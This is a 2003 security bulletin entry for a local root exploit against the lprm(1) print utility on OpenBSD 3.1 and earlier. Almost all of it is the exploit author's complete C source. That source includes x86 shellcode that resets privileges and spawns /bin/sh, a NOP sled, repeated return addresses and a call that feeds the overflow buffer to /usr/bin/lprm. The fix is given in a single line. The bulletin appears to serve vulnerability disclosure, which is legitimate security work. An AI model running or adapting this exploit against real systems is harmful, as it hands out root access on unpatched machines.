8th Mar 2003 [SBWID-6048]
COMMAND
	lprm local exploit
SYSTEMS AFFECTED
	OpenBSD <= 3.1
PROBLEM
	Claes Nyberg posted :
	
	/*
	 * lprmexp.c
	 *
	 * OpenBSD <= 3.1 lprm(1) local root exploit
	 *
	 * By CMN <[email protected]>/<[email protected]>
	 *
	 * Tested on OpenBSD 3.0 and 3.1.
	 *
	 * Fiddle with -a option from 1 to 7 to indent address in
	 * buffer.
	 *
	 */
	#include <stdio.h>
	#include <stdlib.h>
	#include <unistd.h>
	#include <errno.h>
	#include <sys/types.h>
	#define LPRMPROG    "/usr/bin/lprm"
	#define BUFSIZE     511
	#define OFFSET      0
	#define NOP         0x90
	static char obsdcode[] =
	    "\x31\xc0"             /* xorl    %eax, %eax  */
	    "\x50"                 /* pushl   %eax        */
	    "\x50"                 /* pushl   %eax        */
	    "\xb0\xb7"             /* movb    $0xb7, %al  */
	    "\xcd\x80"             /* int     $0x80       */
	    "\x31\xc0"             /* xorl    %eax, %eax  */
	    "\xb0\x19"             /* movb    $0x19, %al  */
	    "\x50"                 /* pushl   %eax        */
	    "\xcd\x80"             /* int     $0x80       */
	    "\x50"                 /* pushl   %eax        */
	    "\x50"                 /* pushl   %eax        */
	    "\x31\xc0"             /* xorl    %eax, %eax  */
	    "\xb0\x17"             /* movb    $0x17, %al  */
	    "\xcd\x80"             /* int     $0x80       */
	    "\x31\xc0"             /* xorl    %eax, %eax  */
	    "\xb0\x2b"             /* movb    $0x2b, %al  */
	    "\x50"                 /* pushl   %eax        */
	    "\xcd\x80"             /* int     $0x80       */
	    "\x50"                 /* pushl   %eax        */
	    "\x50"                 /* pushl   %eax        */
	    "\x31\xc0"             /* xorl    %eax, %eax  */
	    "\xb0\xb5"             /* movb    $0xb5, %al  */
	    "\xcd\x80"             /* int     $0x80       */
	    "\x31\xc0"             /* xorl    %eax, %eax  */
	    "\x50"                 /* pushl   %eax        */
	    "\x68\x2f\x2f\x73\x68" /* pushl   $0x68732f2f */
	    "\x68\x2f\x62\x69\x6e" /* pushl   $0x6e69622f */
	    "\x89\xe3"             /* movl    %esp, %ebx  */
	    "\x50"                 /* pushl   %eax        */
	    "\x53"                 /* pushl   %ebx        */
	    "\x89\xe2"             /* movl    %esp, %edx  */
	    "\x50"                 /* pushl   %eax        */
	    "\x52"                 /* pushl   %edx        */
	    "\x53"                 /* pushl   %ebx        */
	    "\x50"                 /* pushl   %eax        */
	    "\xb0\x3b"             /* movb    $0x3b, %al  */
	    "\xcd\x80"             /* int     $0x80       */
	    "\x31\xc0"             /* xorl    %eax, %eax  */
	    "\x40"                 /* inc     %eax        */
	    "\x50"                 /* pushl   %eax        */
	    "\x50"                 /* pushl   %eax        */
	    "\xcd\x80";            /* int     $0x80       */
	u_long
	getesp(void)
	{
	    __asm__("movl %esp, %eax");
	}
	void
	usage(u_char *pname)
	{
	    printf("\n** OpenBSD lprm(1) local root exploit by CMN **\n");
	    printf("\nUsage: %s printer [-o offs] [-r ret] [-a indent]\n\n",
	        pname);
	}
	int
	main(int argc, char *argv[])
	{
	    int i;
	    u_char indent = 0;
	    u_long raddr = 0;
	    u_long offset = 0;
	    u_char buf[BUFSIZE+1];
	    if (argc < 2) {
	        usage(argv[0]);
	        exit(1);
	    }
	    argc--;
	    argv++;
	    while ( (i = getopt(argc, argv, "a:r:o:")) != -1) {
	        switch (i) {
	            case 'a':
	                indent = atoi(optarg) % 8;
	                break;
	            case 'r':
	                raddr = strtoul(optarg, NULL, 0);
	                break;
	            case 'o':
	                offset = strtoul(optarg, NULL, 0);
	                break;
	            default:
	                exit(1);
	                break;
	        }
	    }
	    if (!raddr) {
	        raddr = getesp();
	        raddr -= offset ? offset : OFFSET;
	    }
	    else
	        raddr -= offset;
	    printf("Using address 0x%08x\n", raddr);
	    memset(buf, NOP, BUFSIZE);
	    memcpy(&buf[BUFSIZE-(indent+4)], &raddr, sizeof(raddr));
	    memcpy(&buf[BUFSIZE-(indent+8)], &raddr, sizeof(raddr));
	    memcpy(&buf[BUFSIZE-(indent+12)], &raddr, sizeof(raddr));
	    memcpy(&buf[BUFSIZE-(indent+16)], &raddr, sizeof(raddr));
	    memcpy(&buf[BUFSIZE-(indent+20)], &raddr, sizeof(raddr));
	    memcpy(&buf[BUFSIZE-(indent+24)], &raddr, sizeof(raddr));
	    memcpy(&buf[BUFSIZE]-(strlen(obsdcode)+100),
	            obsdcode, strlen(obsdcode));
	    buf[BUFSIZE] = '\0';
	    execlp(LPRMPROG, "CMN", "-P", argv[0], buf, buf, NULL);
	    exit(1);
	}
	
SOLUTION
	Update available.